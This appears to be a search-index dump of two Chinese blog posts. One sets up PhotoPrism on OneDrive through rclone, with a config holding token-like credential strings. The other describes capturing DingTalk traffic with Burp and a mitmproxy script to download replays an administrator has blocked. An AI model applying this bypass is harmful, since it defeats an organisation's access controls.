{\u0026#34;access_token\u0026#34;:\u0026#34;EwCAA8l6BA1\u0026#34;,\u0026#34;token_type\u0026#34;:\u0026#34;Bearer\u0026#34;,\u0026#34;refresh_token\u0026#34;:\u0026#34;M.C106eExJ7edYrxNdb3\u0026#34;,\u0026#34;expiry\u0026#34;:\u0026#34;2023-06-03T16:20:11.7705715+08:00\u0026#34;} drive_id = 19fe142286d457 drive_type = personal docker plugin rclone配置 可按照下面，或者参见 https://rclone.org/docker/\n首先创建两个文件夹\n1 2 sudo mkdir -p /var/lib/docker-plugins/rclone/config sudo mkdir -p /var/lib/docker-plugins/rclone/cache 然后安装 docker 插件 rclone\n1 docker plugin install rclone/docker-volume-rclone:latest args=\u0026#34;-v\u0026#34; --alias rclone --grant-all-permissions 然后将上面在本地电脑上生成的 rclone.conf 内容拷贝到 vps 的 /var/lib/docker-plugins/rclone/config/rclone.conf 文件中\n部署 photoprism docker-compose.yml\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 version: \u0026#39;3.5\u0026#39; # Example Docker Compose config file for PhotoPrism (Linux / AMD64) # # Note: # - Running PhotoPrism on a server with less than 4 GB of swap space or setting a memory/swap limit can cause unexpected # restarts (\u0026#34;crashes\u0026#34;), for example, when the indexer temporarily needs more memory to process large files. # - If you install PhotoPrism on a public server outside your home network, please always run it behind a secure # HTTPS reverse proxy such as Traefik or Caddy. Your files and passwords will otherwise be transmitted # in clear text and can be intercepted by anyone, including your provider, hackers, and governments: # https://docs.photoprism.app/getting-started/proxies/traefik/ # # Setup Guides: # - https://docs.photoprism.app/getting-started/docker-compose/ # - https://docs.photoprism.app/getting-started/raspberry-pi/ # - https://www.photoprism.app/kb/activation # # Troubleshooting Checklists: # - https://docs.photoprism.app/getting-started/troubleshooting/ # - https://docs.photoprism.app/getting-started/troubleshooting/docker/ # - https://docs.photoprism.app/getting-started/troubleshooting/mariadb/ # # CLI Commands: # - https://docs.photoprism.app/getting-started/docker-compose/#command-line-interface # # All commands may have to be prefixed with \u0026#34;sudo\u0026#34; when not running as root. # This will point the home directory shortcut ~ to /root in volume mounts. services: photoprism: ## Use photoprism/photoprism:preview for testing preview builds: image: photoprism/photoprism:preview container_name: photoprism ## Don\u0026#39;t enable automatic restarts until PhotoPrism has been properly configured and tested! ## If the service gets stuck in a restart loop, this points to a memory, filesystem, network, or database issue: ## https://docs.photoprism.app/getting-started/troubleshooting/#fatal-server-errors # restart: unless-stopped stop_grace_period: 10s security_opt: - seccomp:unconfined - apparmor:unconfined ports: - \u0026#34;12342:2342\u0026#34; # HTTP port (host:container) environment: PHOTOPRISM_ADMIN_USER: \u0026#34;admin\u0026#34; # 管理员登陆用户名 PHOTOPRISM_ADMIN_PASSWORD: \u0026#34;密码\u0026#34; # 管理员密码 PHOTOPRISM_AUTH_MODE: \u0026#34;password\u0026#34; # authentication mode (public, password) PHOTOPRISM_SITE_URL: \u0026#34;http://photoprism.me:12342/\u0026#34; # 服务器url，格式： \u0026#34;http(s)://domain.name(:port)/(path)\u0026#34; PHOTOPRISM_ORIGINALS_LIMIT: 5000 # 文件大小限制 MB (increase for high-res video) PHOTOPRISM_HTTP_COMPRESSION: \u0026#34;gzip\u0026#34; # improves transfer speed and bandwidth utilization (none or gzip) PHOTOPRISM_LOG_LEVEL: \u0026#34;info\u0026#34; # 日志等级: trace, debug, info, warning, error, fatal, or panic PHOTOPRISM_READONLY: \u0026#34;false\u0026#34; # do not modify originals directory (reduced functionality) PHOTOPRISM_EXPERIMENTAL: \u0026#34;true\u0026#34; # enables experimental features PHOTOPRISM_DISABLE_CHOWN: \u0026#34;false\u0026#34; # disables updating storage permissions via chmod and chown on startup PHOTOPRISM_DISABLE_WEBDAV: \u0026#34;false\u0026#34; # disables built-in WebDAV server PHOTOPRISM_DISABLE_SETTINGS: \u0026#34;false\u0026#34; # disables settings UI and API PHOTOPRISM_DISABLE_TENSORFLOW: \u0026#34;false\u0026#34; # disables all features depending on TensorFlow PHOTOPRISM_DISABLE_FACES: \u0026#34;false\u0026#34; # disables face detection and recognition (requires TensorFlow) PHOTOPRISM_DISABLE_CLASSIFICATION: \u0026#34;false\u0026#34; # disables image classification (requires TensorFlow) PHOTOPRISM_DISABLE_VECTORS: \u0026#34;false\u0026#34; # disables vector graphics support PHOTOPRISM_DISABLE_RAW: \u0026#34;false\u0026#34; # disables indexing and conversion of RAW images PHOTOPRISM_RAW_PRESETS: \u0026#34;false\u0026#34; # enables applying user presets when converting RAW images (reduces performance) PHOTOPRISM_JPEG_QUALITY: 85 # a higher value increases the quality and file size of JPEG images and thumbnails (25-100) PHOTOPRISM_DETECT_NSFW: \u0026#34;false\u0026#34; # automatically flags photos as private that MAY be offensive (requires TensorFlow) PHOTOPRISM_UPLOAD_NSFW: \u0026#34;true\u0026#34; # allows uploads that MAY be offensive (no effect without TensorFlow) PHOTOPRISM_DATABASE_DRIVER: \u0026#34;sqlite\u0026#34; # SQLite is an embedded database that doesn\u0026#39;t require a server PHOTOPRISM_SITE_CAPTION: \u0026#34;\u0026#34; PHOTOPRISM_SITE_DESCRIPTION: \u0026#34;\u0026#34; # meta site description PHOTOPRISM_SITE_AUTHOR: \u0026#34;\u0026#34; # meta site author ## Run/install on first startup (options: update https gpu tensorflow davfs clitools clean): # PHOTOPRISM_INIT: \u0026#34;https gpu tensorflow\u0026#34; ## Hardware Video Transcoding: # PHOTOPRISM_FFMPEG_ENCODER: \u0026#34;software\u0026#34; # FFmpeg encoder (\u0026#34;software\u0026#34;, \u0026#34;intel\u0026#34;, \u0026#34;nvidia\u0026#34;, \u0026#34;apple\u0026#34;, \u0026#34;raspberry\u0026#34;) # PHOTOPRISM_FFMPEG_BITRATE: \u0026#34;32\u0026#34; # FFmpeg encoding bitrate limit in Mbit/s (default: 50) ## Run as a non-root user after initialization (supported: 0, 33, 50-99, 500-600, and 900-1200): # PHOTOPRISM_UID: 1000 # PHOTOPRISM_GID: 1000 # PHOTOPRISM_UMASK: 0000 ## Start as non-root user before initialization (supported: 0, 33, 50-99, 500-600, and 900-1200): # user: \u0026#34;1000:1000\u0026#34; ## Share hardware devices with FFmpeg and TensorFlow (optional): # devices: # - \u0026#34;/dev/dri:/dev/dri\u0026#34; # Intel QSV # - \u0026#34;/dev/nvidia0:/dev/nvidia0\u0026#34; # Nvidia CUDA # - \u0026#34;/dev/nvidiactl:/dev/nvidiactl\u0026#34; # - \u0026#34;/dev/nvidia-modeset:/dev/nvidia-modeset\u0026#34; # - \u0026#34;/dev/nvidia-nvswitchctl:/dev/nvidia-nvswitchctl\u0026#34; # - \u0026#34;/dev/nvidia-uvm:/dev/nvidia-uvm\u0026#34; # - \u0026#34;/dev/nvidia-uvm-tools:/dev/nvidia-uvm-tools\u0026#34; # - \u0026#34;/dev/video11:/dev/video11\u0026#34; # Video4Linux Video Encode Device (h264_v4l2m2m) working_dir: \u0026#34;/photoprism\u0026#34; # do not change or remove ## Storage Folders: \u0026#34;~\u0026#34; is a shortcut for your home directory, \u0026#34;.\u0026#34; for the current directory volumes: # \u0026#34;/host/folder:/photoprism/folder\u0026#34; # Example - \u0026#34;onedrive_photos:/photoprism/originals\u0026#34; # Original media files (DO NOT REMOVE) # - \u0026#34;/example/family:/photoprism/originals/family\u0026#34; # *Additional* media folders can be mounted like this # - \u0026#34;photoprism_import:/photoprism/import\u0026#34; # *Optional* base folder from which files can be imported to originals - \u0026#34;./storage:/photoprism/storage\u0026#34; # *Writable* storage folder for cache, database, and sidecar files (DO NOT REMOVE) ## Watchtower upgrades services automatically (optional) ## see https://docs.photoprism.app/getting-started/updates/#watchtower ## activate via \u0026#34;COMPOSE_PROFILES=update docker compose up -d\u0026#34; watchtower: restart: unless-stopped image: containrrr/watchtower profiles: [\u0026#34;update\u0026#34;] environment: WATCHTOWER_CLEANUP: \u0026#34;true\u0026#34; WATCHTOWER_POLL_INTERVAL: 7200 # checks for updates every two hours volumes: - \u0026#34;/var/run/docker.sock:/var/run/docker.sock\u0026#34; - \u0026#34;~/.docker/config.json:/config.json\u0026#34; # optional, for authentication if you have a Docker Hub account volumes: #储存卷配置： onedrive_photos: #卷名 onedrive_photos driver: rclone #磁盘名 rclone driver_opts: #磁盘配置 remote: onedrive:/图片/本机照片 #同步 onedrive 下 /图片/本机照片 文件 allow_other: \u0026#39;true\u0026#39; #类似rclone mount配置 vfs_cache_mode: full #类似rclone mount配置 如果你不需要自动更新photoprism版本，你可以去除 watchtower 的容器\n一般onedrive默认情况下备份相册照片到 /图片/本机照片 ，如果你有更改过，可以换成你更改的文件夹路径\n然后使用 docker compose up -d 启动\n访问在 docker-compose.yml 中定义的服务器url即可\n上传图片的话，可以使用 photosync（官方推荐） 或者使用 syncthing，或者直接使用 onedrive 的同步功能\nphotosync是通过webdav功能来同步，photoprism只有当使用webdav同步时才会触发索引，所以syncthing或onedrive的同步都没法自动索引\n所以需要手动使用命令进行触发，可以使用 crontab 来定时同步\n1 2 3 crontab -e # 设置每天晚上1点自动导入 0 1 * * * /usr/bin/docker exec photoprism photoprism index 或者你可以使用 syncthing + https://github.com/signalkraft/photoprism-syncthing-indexer 来自动索引\n参考 自建云相册PhotoPrism\nDocker Volume Plugin\n在Docker中使用Rclone作为储存卷\nMicrosoft OneDrive\nSyncthing and photoprism\n","permalink":"https://www.hacktech.cn/post/2023/06/photoprism-rclone-setup/","summary":"\u003cp\u003evps空间小，所以使用onedrive为例作为存储来搭建 photoprism\u003c/p\u003e\n\u003cp\u003e主要分为以下几步：\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e使用rclone挂载onedrive\u003c/li\u003e\n\u003cli\u003e部署photoprism\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"获得rcloneconf\"\u003e获得rclone.conf\u003c/h2\u003e\n\u003cp\u003e首先在本地电脑上安装rclone\u003c/p\u003e\n\u003cp\u003e然后运行 \u003ccode\u003erclone config\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参照 \u003ca href=\"https://rclone.org/onedrive/\"\u003ehttps://rclone.org/onedrive/\u003c/a\u003e 进行远程配置\u003c/p\u003e\n\u003cp\u003e然后配置完成后，\u003ccode\u003e~/.config/rclone/rclone.conf\u003c/code\u003e 内容类似\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[onedrive]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etype = myonedrive\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etoken = {\u0026#34;access_token\u0026#34;:\u0026#34;EwCAA8l6BA1\u0026#34;,\u0026#34;token_type\u0026#34;:\u0026#34;Bearer\u0026#34;,\u0026#34;refresh_token\u0026#34;:\u0026#34;M.C106eExJ7edYrxNdb3\u0026#34;,\u0026#34;expiry\u0026#34;:\u0026#34;2023-06-03T16:20:11.7705715+08:00\u0026#34;}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edrive_id = 19fe142286d457\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edrive_type = personal\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"docker-plugin-rclone配置\"\u003edocker plugin rclone配置\u003c/h2\u003e\n\u003cp\u003e可按照下面，或者参见 \u003ca href=\"https://rclone.org/docker/\"\u003ehttps://rclone.org/docker/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e首先创建两个文件夹\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo mkdir -p /var/lib/docker-plugins/rclone/config\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo mkdir -p /var/lib/docker-plugins/rclone/cache\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e然后安装 docker 插件 rclone\u003c/p\u003e","title":"photoprism+rclone搭建"},{"content":" 更新 20230221\n现在抓包已经抓不到这个链接了，不过在打开回放时会有一个请求 /group-live-share/index.htm?liveUuid=xxx\n把这个请求拼接上去到下面的链接依旧可以打开网页版\n不过获取到的 m3u8 链接依旧是无法直接下载的\n写了个脚本来自动化该流程，可在 https://github.com/akkuman/ding_playback_downloader 获取\n原始记录 20220907\n想下载钉钉直播回放，管理员设置了禁止下载\n找到了这篇文章\n[[原创]钉钉如何下载管理员禁止的直播回放(抓包分析)-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com](https://bbs.pediy.com/thread-274002.htm)\n打开burp，配置好burp证书，然后使用proxifier将钉钉主程序 DingTalk.exe 的流量全部转发到 burp 代理端口。打开直播回放，点开直播\n按照文章中的寻找，只找到了下面这个链接\n解码出来获取到了\n其中有个 publicLandingUrl https://h5.dingtalk.com/group-live-share/index.htm?type=2\u0026amp;liveFromType=6\u0026amp;liveUuid=xxxx\u0026amp;bizType=dingtalk\u0026amp;dd_nav_bgcolor=FF2C2D2F#/union\n浏览器打开这个链接，可以看到直播回放\n播放视频，打开f12进行抓包，可以看到一个链接\nhttps://dtliving-sh.dingtalk.com/live_hp/xxxx_merge.m3u8?auth_key=xxxxxx\n这个链接中，xxxx是上面liveUuid，然后会看到一个m3u8，然后使用其他的工具下载并合并m3u8即可\n其实上面的json中的 liveUrlHls ****中的auth_key可以用在拼接m3u8链接上，但是发现下载 liveUrlHls 需要单点登录（不知道这是不是我们公司的配置），而下载上面m3u8链接需要网页登录后cookie中PC_SESSION值\n所以还是直接打开网页后使用idm之类的软件进行下载吧。\n给出一份mitmproxy的脚本\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from mitmproxy import http from mitmproxy import ctx import re import json pattern = re.compile(r\u0026#39;\\[live\\-playback\\-room\\].+?\\[response\\](\\{.+\\})\u0026#39;) def request(flow: http.HTTPFlow) -\u0026gt; None: # if flow.request.pretty_host != \u0026#39;retcode.taobao.com\u0026#39;: # return if not flow.request.path.startswith(\u0026#39;/r.png\u0026#39;): return msg = flow.request.query.get(\u0026#39;msg\u0026#39;) if not msg: return if not pattern.match(msg): return data = pattern.search(msg)[1] try: data = json.loads(data) except Exception: return live_info = data.get(\u0026#39;liveInfo\u0026#39;) if not live_info: return live_uuid = live_info.get(\u0026#39;liveUuid\u0026#39;) ctx.log.info(f\u0026#39;获取到 liveUuid {live_uuid}\u0026#39;) live_url_hls = live_info.get(\u0026#39;liveUrlHls\u0026#39;) ctx.log.info(f\u0026#39;获取到 liveUrlHls {live_url_hls}\u0026#39;) ctx.log.inof(f\u0026#34;请打开网页使用IDM进行下载: {live_info.get(\u0026#39;publicLandingUrl\u0026#39;)}\u0026#34;) 自动化的方案，之后再花时间研究\n","permalink":"https://www.hacktech.cn/post/2023/02/download-dingtalk-playback/","summary":"\u003chr\u003e\n\u003cp\u003e更新 20230221\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e现在抓包已经抓不到这个链接了，不过在打开回放时会有一个请求 \u003ccode\u003e/group-live-share/index.htm?liveUuid=xxx\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e把这个请求拼接上去到下面的链接依旧可以打开网页版\u003c/p\u003e\n\u003cp\u003e不过获取到的 m3u8 链接依旧是无法直接下载的\u003c/p\u003e\n\u003cp\u003e写了个脚本来自动化该流程，可在 \u003ca href=\"https://github.com/akkuman/ding_playback_downloader\"\u003ehttps://github.com/akkuman/ding_playback_downloader\u003c/a\u003e 获取\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e原始记录 20220907\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e想下载钉钉直播回放，管理员设置了禁止下载\u003c/p\u003e\n\u003cp\u003e找到了这篇文章\u003c/p\u003e\n\u003cp\u003e[[原创]钉钉如何下载管理员禁止的直播回放(抓包分析)-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com](\u003ca href=\"https://bbs.pediy.com/thread-274002.htm\"\u003ehttps://bbs.pediy.com/thread-274002.htm\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003e打开burp，配置好burp证书，然后使用proxifier将钉钉主程序 DingTalk.exe 的流量全部转发到 burp 代理端口。打开直播回放，点开直播\u003c/p\u003e\n\u003cp\u003e按照文章中的寻找，只找到了下面这个链接\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/uploads/untitled.png\"\u003e\u003c/p\u003e\n\u003cp\u003e解码出来获取到了\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Untitled\" loading=\"lazy\" src=\"/images/uploads/untitled-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e其中有个 publicLandingUrl \u003cstrong\u003e\u003ccode\u003ehttps://h5.dingtalk.com/group-live-share/index.htm?type=2\u0026amp;liveFromType=6\u0026amp;liveUuid=xxxx\u0026amp;bizType=dingtalk\u0026amp;dd_nav_bgcolor=FF2C2D2F#/union\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e浏览器打开这个链接，可以看到直播回放\u003c/p\u003e\n\u003cp\u003e播放视频，打开f12进行抓包，可以看到一个链接\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ehttps://dtliving-sh.dingtalk.com/live_hp/xxxx_merge.m3u8?auth_key=xxxxxx\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e这个链接中，xxxx是上面liveUuid，然后会看到一个m3u8，然后使用其他的工具下载并合并m3u8即可\u003c/p\u003e\n\u003cp\u003e其实上面的json中的 \u003ccode\u003eliveUrlHls\u003c/code\u003e ****中的auth_key可以用在拼接m3u8链接上，但是发现下载 \u003ccode\u003eliveUrlHls\u003c/code\u003e 需要单点登录（不知道这是不是我们公司的配置），而下载上面m3u8链接需要网页登录后cookie中PC_SESSION值\u003c/p\u003e\n\u003cp\u003e所以还是直接打开网页后使用idm之类的软件进行下载吧。\u003c/p\u003e\n\u003cp\u003e给出一份mitmproxy的脚本\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e mitmproxy \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e http\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e mitmproxy \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e ctx\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e re\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e json\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epattern \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e re\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ecompile(\u003cspan style=\"color:#e6db74\"\u003er\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\\[live\\-playback\\-room\\].+?\\[response\\](\\{.+\\})\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan 